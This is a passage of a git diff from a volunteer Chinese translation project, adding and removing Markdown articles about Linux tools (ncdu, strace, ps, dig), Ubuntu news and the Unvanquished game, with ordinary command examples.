+[11]: +[12]: \ No newline at end of file diff --git a/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md new file mode 100644 index 0000000000..91fcb2ea08 --- /dev/null +++ b/sources/Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux.md @@ -0,0 +1,42 @@ +[翻译中] by KayGuoWhu +Unvanquished Will Probably Be the Best Free Multiplayer Game on Linux +================================================================================ +**Unvanquished, a free, open-source first-person shooter combining real-time strategy elements with a futuristic and sci-fi setting, has just received its 22nd update. Actually it's 22.1, but who's counting?** + +![](http://i1-news.softpedia-static.com/images/news2/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956-2.jpg) + +![](http://www.unvanquished.net/images/20131202-snowstation.jpg) + +Even if Unvanquished is still in its Alpha stages, the developers have added a lot of new features and the game has become a lot more playable. + +The Unvanquished Alpha 22.1 has received a few engine changes, some gameplay changes, a new map, a new version of an existing map, and more. + +Snowstation is the new map integrated in the game. According to the developer, it has a simple layout, essentially a loop, and a snow-covered outside area forming part of that loop. + +“We're now using C++ for all engine code. A few things are a bit different – some commands are changed a little or renamed and some output looks different. One which you'll probably notice while playing is marking for deconstruction – you'll need to rebind that key. The reason is that /if has lost its modifier key support; you'll need to use /modcase instead,” reads the announcement. + +### Highlight of Unvanquished Alpha 22.1: ### + +• The jetpack has been added. Users have to hold down the jump key and fly – but you can't hover anymore and you only have a limited amount of fuel; +• The reasons “under attack” messages are reported have been changed; +• Human weapons will be refilled or recharged automatically when close to a suitable building and not in use; +• Repeaters are now effectively small reactors and they will provide power even when there is no reactor around; +• FXAA now works with Mesa in OpenGL 2.1 contexts. + +More details about this amazingly-looking game can be found on the official [website][1]. Keep in mind that this is a work in progress and bugs are bound to appear. + +**Download Unvanquished Alpha 22.1 right now:** + +- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB] +- [Arch Linux package][2][binary] [0 KB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22 +[2]:http://www.unvanquished.net/download#linux \ No newline at end of file diff --git a/sources/ncdu – Ncurses Based Disk Usage Utility.md b/sources/ncdu – Ncurses Based Disk Usage Utility.md deleted file mode 100644 index 21e80249d0..0000000000 --- a/sources/ncdu – Ncurses Based Disk Usage Utility.md +++ /dev/null @@ -1,117 +0,0 @@ -ncdu – Ncurses Based Disk Usage Utility -================================================================================ -uts a few days back, we discussed [gt5][1] (a graphical front-end to du). Continuing with this series of du alternatives, today we will discuss a ncurses based disk usage utility that can be run on a remote server set-up which does not have a graphical environment. The command line utility we are about to discuss is **ncdu**. - -### ncdu – Ncurses Based du Alternative ### - -The command line utility ncdu is nothing but a curses based version of the standard du command. It helps to quickly view the disk usage statistics of a system even if there is no graphical environment installed on it. - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-main.png) - -### Testing Environment ### - -- OS – Ubuntu 13.04 -- Shell – Bash 4.2.45 -- Application – ncdu 1.9 - -### A Brief Tutorial ### - -Here are some of the examples of ncdu command : - -**1. The Default Output** - -Just execute the **ncdu** command and you’ll observe that first it scans the disk and then displays the disk usage of various directories in descending order. - -Here is an example : - -**> Scanning** - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-0.png) - -**> Output** - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-1.png) - -So you can see that a disk usage table is displayed in the output. If you want to scan complete file system, use the -x option with ncdu utility. - -**2. Get More Information On Selected Directory By Pressing i** - -As you can see that the first entry is selected by default. To know more details related to a selected entry, just press i. - -Here is an example : - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-2.png) - -So you can see that the information like Path, Type, Disk Usage, Apparent size etc. were displayed. To get rid of this window, just press i again. - -**3. Delete A Directory From Within The ncdu Interface** - -To delete a directory from within the ncdu interface, just select the entry and press d. - -Here is an example : - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-3.png) - -So you can see that ncdu asks for a confirmation from the user. If you press yes, the directory will be deleted from the system. - -**4. Show Percentage Of Total Disk Consumption By Each Directory** - -Press g to display percentage of total disk consumption by each directory. - -Here is an example : - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-4.png) - -So you can see that percentage consumption of total disk for each entry is displayed in the second column of output. - -**5. Get Help Regarding All The Available Hot Keys** - -Press ? to get help related to hot keys, format information and ncdu version related information. - -Here are some help snapshots : - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-1.png) - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-2.png) - -![](http://mylinuxbook.com/wp-content/uploads/2013/10/ncdu-5-3.png) - -For command line options and other information, go through the [man page of ncdu command][2]. - -### Download/Install/Configure ### - -Here are some of the important links related to ncdu command : - -- [Home Page][3] -- [Download Link][4] - -Alternatively, ncdu can also be downloaded by command line managers like apt-get , yum etc. Additionally, Ubuntu users can use Ubuntu Software Centre to download this utility. - -### Pros ### - -- Quick access to a lot of information -- Light on resources - -### Cons ### - -- Doesn’t come pre-installed on most of the Linux distributions -- Has a bit of learning curve associated with it. - -### Conclusion ### - -If you are not satisfied with the standard du command and are looking for a fast, ncurses based du-like utility then try out ncdu. It provides lots of customization options. You’ll definitely like it. - -**Have you ever used ncdu, gt5 or any other du-like utility? Share your experience with us.** - --------------------------------------------------------------------------------- - -via: http://mylinuxbook.com/ncdu-ncurses-based-disk-usage-utility/ - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://mylinuxbook.com/gt5-a-graphical-alternative-to-du/ -[2]:http://linux.die.net/man/1/ncdu -[3]:http://dev.yorhel.nl/ncdu -[4]:http://dev.yorhel.nl/ncdu \ No newline at end of file diff --git a/sources/‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth.md b/sources/‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth.md new file mode 100644 index 0000000000..240f73867c --- /dev/null +++ b/sources/‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth.md @@ -0,0 +1,48 @@ +‘Household Brands’ Interested In Ubuntu for Phones and Tablets, Says Shuttleworth +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2013/02/tablet-hero.jpg) + +**Mark Shuttleworth has said that an ‘interesting set of household brands’ are looking at putting Ubuntu Touch on their own phones and tablets.** + +The Ubuntu founder was speaking in the [keynote address][1] at the Ubuntu Developer Summit which kicked off this week. + +No specific names, details or dates were offered up alongside the tantalising tidbit, though Mark did hint at one point that he expects Ubuntu Touch devices to be available to buy within the next couple of years. + +### Ubuntu Tablets = Renewed Opportunity ### + +[As mentioned by Jono Bacon recently][2], honing the Ubuntu Tablet experience will be the ‘key focus’ of the Ubuntu 14.04 development cycle. This was touched upon by Shuttleworth in response to a question on whether Ubuntu plan to make dual-booting Touch with Android easier (they are): + +> “I’m excited about the tablet form-factor because I think it’s going to be a lot easier for people to enjoy Ubuntu on a tablet [because] doing it on a phone full time is a bit of a deep-device commitment – [though] we’ve heard some interesting reports of government departments using it because we don’t work for the NSA!” + +Other notable points mentioned in the keynote included: + +- Helping developers tailor Ubuntu Touch apps for the desktop +- Stable, dependable and performant desktop experience based on Unity 7 +- Point releases of Ubuntu 14.04 LTS won’t be introducing Mir or Unity 8 +- Ubuntu on ARM x64 +- Sidestage to be re-introduced to tablet +- Supporting Android apps on Ubuntu ‘is a goal – but not a focus’ right now + +> ‘Shuttleworth must be hoping that some of those interested household names make a firm commitment soon…’ + +This latter point appears to represent an about-turn, if true. Earlier in the year Canonical’s Richard Collins [told Engadget][1] that there were no plans to “engineer middleware for running Android apps [on Ubuntu Touch]“. + +Android apps or not, Shuttleworth must be hoping that some of those interested household names make a firm commitment soon. The longer the gap the more ground competitors are gaining. + +Samsung and Intel’s open-source mobile OS ‘Tizen’ [recently gained the backing of a further 36 companies][4], including an array of mobile networks, electronics bigwigs and game publishers. + +Elsewhere, Mozilla’s Firefox OS continues to grow its users, OEM and carrier base; while [Jolla’s first Sailfish OS-powered handset ships later this month][5]. And although Ubuntu Touch isn’t aiming for the low-end segment, Android 4.4 debuted with a number of performance optimisations when used on hardware with limited resources. + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/household-brands-ubuntu-phone-tablets + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/watch?v=D4kHQeu4SJk +[2]:http://www.omgubuntu.co.uk/2013/11/ubuntu-tablet-will-key-focus-ubuntu-14-04-lts-cycle +[3]:http://www.engadget.com/2013/01/25/canonical-richard-collins-interview/ +[4]:http://www.theverge.com/2013/11/12/5093588/tizen-open-operating-system-partners-with-36-companies +[5]:http://www.theregister.co.uk/2013/11/15/jolla_phones_to_ship_in_november/ \ No newline at end of file diff --git a/translated/10 Lesser Known Effective Linux Commands – Part IV.md b/translated/10 Lesser Known Effective Linux Commands – Part IV.md new file mode 100644 index 0000000000..98335be4c4 --- /dev/null +++ b/translated/10 Lesser Known Effective Linux Commands – Part IV.md @@ -0,0 +1,186 @@ +10个鲜为人知的Linux命令(4) +================================================================================ +Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory. +继续我们的"鲜为人知"系列,本系列的第四篇会让你了解一些**有趣** 又 **动态**的命令。这里我们进入实际的教程,没有很多理论。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Effective-Commands-.png) + +- [11 Lesser Known Useful Linux Commands – Part I][1] +- [10 Lesser Known Linux Commands – Part 2][2] +- [10 Lesser Known Commands for Linux – Part 3][3] + +本系列的第四篇包含了另外的鲜为人知的Linux命令,这些值得去了解。也许你已经知道了这些命令,毫无疑问你是一个有经验的Linux用户并且乐于探索。 + +### 32. strace Command ### + +**strace**是一个调试工具并被主要用于Linux的故障排除。它可能在你的系统内没有默认安装,你可能需要**apt** 或者 **yum**安装所需要的包。 + +使用strace命令追踪一个命令的执行。 + + root@tecmint [~]# strace pwd + +#### 示例输出 #### + + execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0 + brk(0) = 0x728000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0df2000 + access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) + open("/etc/ld.so.cache", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=38427, ...}) = 0 + mmap(NULL, 38427, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f29b0de8000 + close(3) = 0 + open("/lib64/libc.so.6", O_RDONLY) = 3 + read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\355\1I;\0\0\0"..., 832) = 832 + fstat(3, {st_mode=S_IFREG|0755, st_size=1922152, ...}) = 0 + mmap(0x3b49000000, 3745960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3b49000000 + mprotect(0x3b4918a000, 2093056, PROT_NONE) = 0 + mmap(0x3b49389000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x189000) = 0x3b49389000 + mmap(0x3b4938e000, 18600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3b4938e000 + close(3) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de7000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000 + .... +**strace**命令接收大量的参数和选项,请参考man页来获取详细信息。 + +### 33. disown -a && exit 命令 ### + +大多数系统管理员使用[screen 命令][4]来控制运行在终端后台的作业。让我们假设一下如果你有一个长期运行的作业并想要将它从终端中**分离**,你可以用screen命令来这么做。但是如果你不知道如何使用screen,那么disown可以用来救急。 + +disown命令可以在后台持续运行作业即使你关闭了终端会话。disown命令的语法是: + + + root@tecmint [~]# Command; disown -a && exit + +为了在终端中再次分离长期运行的作业,使用**jobs**命令来找出作业号,接着使用disown **%n**,这里的**%n**是作业号。为了验证作业确实在运行,使用**ps** 或者 [top 命令][5]。**nohup**命令也是一个disown命令的替代品。 + +### 34. getconf LONG_BIT 命令 ### + +上面的命令能显示你的机器架构是**32** bit 或者 **64** 位? + + root@tecmint [~]# getconf LONG_BIT + + 32 + +- [下载Linux命令备忘单][5] + +### 35. 终端上显示日期 ### + +下面的命令是几个命令的集合,确切地说是一个脚本。对于在shell或者终端下工作的人来说,没有GUI界面看到当前系统日期是一个乏味的工作。你可以用‘**date**‘命令查看今天的日期。 + +只要在提示符后输入如下的命令你就会在终端的右上角看到**日期**和**时间**。 + + root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & + +![在终端下显示日期](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg) + +### 36. convert 命令 ### + +在写教程的时候,我经常需要生成输出,很多时候是图片格式。上面的命令集合并不适合我。假设我需要tree命令的图片格式的输出(对 **/etc/x11** 目录 )。 + + root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png + +上面命令的输出可以在一个特定的位置(这里是我的家目录)下看到,文件名是**tree.png**。 + +### 37. watch -t -n1 “date +%T|figlet” ### + +记住“**figlet**”命令在我们早期的文章“[20 Funny Commands of Linux][7]”中的描述。这个命令非常酷,这次我们会通过管道输出到‘**figlet**‘而在终端上显示一个动画电子钟。 + +你自己检查一下,记住你必须已经在系统上安装了**figlet**,用**apt** 或者 **yum**安装所需要的包。 + + root@tecmint [~]# watch -t -n1 "date +%T|figlet" + +#### 示例输出 #### + + _ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT + / |/ _ \ _|___ \ / _ \ _|___ /| || | + | | | | (_) __) | (_) (_) |_ \| || |_ + | | |_| |_ / __/ \__, |_ ___) |__ _| + |_|\___/(_)_____| /_/(_)____/ |_| + +### 38. host and dig 命令 ### + +虽然“**host**” 和 “**dig**”命令不那么鲜为人知,但是仍并不常被使用。host命令是**DNS**查询工具。 + + root@tecmint [~]# host www.google.com + + www.google.com has address 173.194.66.147 + www.google.com has address 173.194.66.105 + www.google.com has address 173.194.66.99 + www.google.com has address 173.194.66.104 + www.google.com has address 173.194.66.106 + www.google.com has address 173.194.66.103 + www.google.com has IPv6 address 2a00:1450:400c:c03::68 + + + root@tecmint [~]# dig www.google.com + + ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.17.rc1.el6_4.6 <<>> www.google.com + ;; global options: +cmd + ;; Got answer: + ;; ->>HEADER< + +### 39. dstat 命令 ### + +**dstat**是一个多用的工具,它会依据系统资源生成统计。默认上你的系统可能没有安装‘**dstat**‘。在使用这个多彩的描述系统信息的生成器前使用**apt** 或者 **yum**来安装。 + + root@tecmint [~]# dstat + +![dstat 命令](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg) + +### 40. bind -p 命令 ### + +‘**bind -p**‘会显示所有的**BASH** shell可用的快捷方式。 + + root@tecmint [~]# bind -p + +#### Sample Output #### + + "\C-g": abort + "\C-x\C-g": abort + "\e\C-g": abort + "\C-j": accept-line + "\C-m": accept-line + # alias-expand-line (not bound) + # arrow-key-prefix (not bound) + # backward-byte (not bound) + "\C-b": backward-char + "\eOD": backward-char + "\e[D": backward-char + "\e!": complete-command + "\e/": complete-filename + "\e@": complete-hostname + "\e{": complete-into-braces + "\e~": complete-username + "\e$": complete-variable + # copy-backward-word (not bound) + # copy-forward-word (not bound) + # copy-region-as-kill (not bound) + .... + .... + +### 41. touch /forcefsck ### + +下面的命令会在root目录下创建一个空的文件夹'**forcefsck**'。这会强制Linux系统在下次启动时检查文件系统。 + + root@tecmint [~]# touch /forcefsck + +今天这些就是全部。因为你们爱‘**鲜为人知的命令**‘ ,因此我们将继续这个系列,本系列的下一篇文章将很快发布。 + +不要走开继续关注**Tecmint**。不要忘记在评论栏里留下你们有价值的反馈。帮我们一个忙,喜爱、分享我们的文章,并帮我们传播。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/11-lesser-known-useful-linux-commands/ +[2]:http://www.tecmint.com/10-lesser-known-linux-commands-part-2/ +[3]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ +[4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ +[5]:http://www.tecmint.com/12-top-command-examples-in-linux/ +[6]:http://tecmint.tradepub.com/free/w_makb09/prgm.cgi +[7]:http://www.tecmint.com/20-funny-commands-of-linux-or-linux-is-fun-in-terminal/ \ No newline at end of file diff --git a/translated/10 basic examples of Linux ps command.md b/translated/10 basic examples of Linux ps command.md new file mode 100755 index 0000000000..9276a61da2 --- /dev/null +++ b/translated/10 basic examples of Linux ps command.md @@ -0,0 +1,216 @@ +ps命令的10个例子 +================================================================================ +### Linux ps 命令 ### + +linux的ps命令是一个浏览系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照,还带有一些具体的信息,比如用户id,cpu使用率,内存使用,命令名等它不会像top或者htop一样实时显示数据。即使他在功能和输出上更见但,但是它仍是一个每个linux新人需要了解和学习的一个必要的进程管理/检测工具。 + +在本篇中,我门会复习ps命令基本的用法:检测、过滤、以不同的方式排序进程来更好地适应。 + +### 语法说明 ### + +ps命令有两种不同风格的语法规则。它们是BSD和UNIX。新人经常感到困惑并会误解这两种风格。因此在继续本篇之前有一些基本的信息要澄清。 + +> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程,但是"u"意味着显示具体信息。 + +BSD 形式 - BSD形式的语法的选项前没有破折号。 + + ps aux + +UNIX/LINUX 形式 - linux形式的语法的选项前有破折号。 + + ps -ef + +在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论unix形式语法。 + +### 如何使用ps命令 ### + +#### 1. 显示所有进程 #### + +下面的命令可以显示所有进程的列表。 + + $ ps ax + $ ps -ef + +通过管道输出到"less"可以使它滚动。 + +使用"u"或者"-f"选项可以显示进程的具体信息。 + + $ ps aux + $ ps -ef -f + +> 为什么USER列显示的不是我的用户名而是其他的像root,www-data等等? + +对于所有的用户(包括你们的),如果长度大于8个字符,那么ps只会显示你的UID而不是用户名。 + +#### 2. 显示用户进程 #### + +使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。 + + $ ps -f -u www-data + UID PID PPID C STIME TTY TIME CMD + www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process + www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost + www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start + +#### 3. 通过名字或者进程id显示进程 #### + +通过"-C"选项后面加上名字或者命令来搜索进程。 + + $ ps -C apache2 + PID TTY TIME CMD + 2359 ? 00:00:00 apache2 + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + ... + +要通过进程id显示进程,就使用"-p"选项,并且它还提供使用逗号来分割进程id。 + + $ ps -f -p 3150,7298,6544 + +"-C"必须提供精确的进程名,并且它并不能通过部分名字或者通配符查找。为了更弹性地搜索进程列表,通常使用grep命令。 + + $ ps -ef | grep apache + +#### 4. 通过cpu或者内存使用排序进程 #### + +系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特性的字段或者参数排序进程列表。 + +多个字段可以用'--sort'指定,并用逗号分割。除此之外,字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项。通过man页来获取完整的列表。 + + + $ ps aux --sort=-pcpu,+pmem + +显示前5名最耗cpu的进程。 + + $ ps aux --sort=-pcpu | head -5 + USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND + root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23 + root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp + root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork + silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py + +#### 5. 以树的形式显示进程层级 #### + +许多进程实际上是从同一个父进程fork出来的,并且了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。 + +下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。 + + $ ps -f --forest -C apache2 + UID PID PPID C STIME TTY TIME CMD + root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start + www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start + +> 尽量不要在排序中使用树状显示,因为两者都会以不同方式影响显示的顺序。 + +#### 6. 显示父进程的子进程 #### + +下面一个是找出所有从apache进程fork出来的进程的例子。 + + $ ps -o pid,uname,comm -C apache2 + PID USER COMMAND + 2359 root apache2 + 4524 www-data apache2 + 4525 www-data apache2 + 4526 www-data apache2 + 4527 www-data apache2 + 4528 www-data apache2 + [term] + + 第一个属于root的进程是apache2的主进程,其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。 + + [term] + $ ps --ppid 2359 + PID TTY TIME CMD + 4524 ? 00:00:00 apache2 + 4525 ? 00:00:00 apache2 + 4526 ? 00:00:00 apache2 + 4527 ? 00:00:00 apache2 + 4528 ? 00:00:00 apache2 + +#### 7. 显示进程的线程 #### + +"-L"选项会随着进程一起显示线程。它可用于显示所有特定进程或者所有进程的线程。 + +下面的命令会显示进程id为3150的进程的所有线程。 + + $ ps -p 3150 -L + +#### 8. 改变显示的列 #### + +ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示,并且完整的列表在man页中。 + +下面的命令会只显示pid、用户名、cpu、内存、命令列。 + + $ ps -e -o pid,uname,pcpu,pmem,comm + +同样可以重命名列的名字。 + + $ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm + PID USERNAME CPU_USAGE %MEM COMMAND + 1 root 0.0 0.0 init + 2 root 0.0 0.0 kthreadd + 3 root 0.0 0.0 ksoftirqd/0 + 4 root 0.0 0.0 kworker/0:0 + 5 root 0.0 0.0 kworker/0:0H + 7 root 0.0 0.0 migration/0 + 8 root 0.0 0.0 rcu_bh + 9 root 0.0 0.0 rcuob/0 + 10 root 0.0 0.0 rcuob/1 + +非常弹性化。 + +#### 9. 显示进程运行的时间 #### + +运行的时间指的是,进程已经运行的时间。运行时间的列并没有默认显示,需要使用-o选项带入。 + + $ ps -e -o pid,comm,etime + +#### 10. 将ps转换为实时进程查看器 #### + +As usual, the watch command can be used to turn ps into a realtime process reporter. Simple example is like this +通常上,watch命令可将ps命令变成实时进程查看器。像这个简单的命令 + + $ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15' + +我桌面上的输出就像这样。 + + Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013 + + PID USER CMD %MEM %CPU + 3800 1000 /opt/google/chrome/chrome - 4.6 1.4 + 7492 1000 /opt/google/chrome/chrome - 2.7 1.4 + 3150 1000 /opt/google/chrome/chrome 2.7 2.5 + 3824 1000 /opt/google/chrome/chrome - 2.6 0.6 + 3936 1000 /opt/google/chrome/chrome - 2.4 1.6 + 2936 1000 /usr/bin/plasma-desktop 2.3 0.2 + 9666 1000 /opt/google/chrome/chrome - 2.1 0.8 + 3842 1000 /opt/google/chrome/chrome - 2.1 0.8 + 4739 1000 /opt/google/chrome/chrome - 1.8 1.0 + 3930 1000 /opt/google/chrome/chrome - 1.7 1.0 + 3911 1000 /opt/google/chrome/chrome - 1.6 0.6 + 3645 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3677 1000 /opt/google/chrome/chrome - 1.5 0.4 + 3639 1000 /opt/google/chrome/chrome - 1.4 0.4 + +输出会每秒刷新状态。但不要认为这和top相似。 + +你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。 + +这是因为top输出会cpu使用和内存使用值混合排序后的输出。但是上面的ps命令是一个更简单的行为的排序,每次获取一列(像学校的数学)。因此它不会像top那样快速更新。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-ps-command/ + +译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md b/translated/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md deleted file mode 100644 index 3ccc651c45..0000000000 --- a/translated/Daily Ubuntu Tips – Resize Ubuntu Unity Launcher.md +++ /dev/null @@ -1,36 +0,0 @@ -每日Ubuntu小技巧 - 改变侧边栏图标大小 -================================================================================ -这里有一些其他的小技巧给新Ubuntu用户。这一系列的小技巧是为了帮助新Ubuntu用户轻松地配置和管理他们的电脑。这不是面向专家用户的,只是为了那些刚刚开始使用Ubuntu的用户。 - -Ubuntu启动器是Ubuntu Unity桌面的关键部分。启动器是一个布满图标的垂直条,当你登陆的时候,他就会放在屏幕的左边栏。它允许你方便地打开或者启动来自你桌面的程序。它也提供了快捷链接到应用,工作空间,可移动设备和垃圾桶。 - -默认情况下,这个启动器图标大小被设置为48为较小的屏幕。如果你需要调大或调小启动器的尺寸,那么请继续接下来的学习。 - -这里有许多你想调整Unity启动器的原因。一个好的原因是需要调整它到适应更小的屏幕。如果你的屏幕很小,默认尺寸也不合适,那么你就需要改变它了。 - -如果默认图标尺寸太小,就需要增大它,那么调整启动器去增大图标使他们容易点击。 - -开始吧,点击右上角的齿轮按钮弹出菜单条,点击系统设置(System Settings...),如下图。 - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable3.png) - -接下来,选择 外观(Appearance) - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu.png) - -最后,使用滚动条来调整(增大\减小)启动器的图标尺寸。 - -![](http://www.liberiangeek.net/wp-content/uploads/2013/09/unitylauncherubuntu1.png) - -这个改变会被自动应用。记住,如果你想要继续作用默认尺寸,移动到48. - -这是另一个为Ubuntu新用户的小技巧。继续回来发现更多的Ubuntu小技巧。如果你一个老手,想要做出贡献,请在下面留下意见。 - -享受吧! --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-resize-ubuntu-unity-launcher/ - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -译者:[Vic___](http://blog.csdn.net/vic___) 校对:[校对者ID](https://github.com/校对者ID) \ No newline at end of file diff --git a/translated/Daily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator.md b/translated/Daily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator.md new file mode 100644 index 0000000000..aaca98a14f --- /dev/null +++ b/translated/Daily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator.md @@ -0,0 +1,34 @@ +每日Ubuntu小技巧 - 更换菜单风格 +================================================================================ +每日Ubuntu小技巧 - 喜欢GNOME风格菜单?安装Class Menu Indicator吧 + +对于那些从初学者一直关注Ubuntu操作系统的人,他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变,尤其是在桌面部分。从经典的GNOME桌面环境到Unity,Ubuntu已经完全地重新设计了。 + +对于那些新用户,他们所知道的是Unity桌面环境和仅仅只是听说过,或者见过在支持Ubuntu之前的原始的GNOME桌面环境。 + +如果你是一个老资格,想要在Ubuntu的Unity回到GNOME风格的菜单,安装Classic 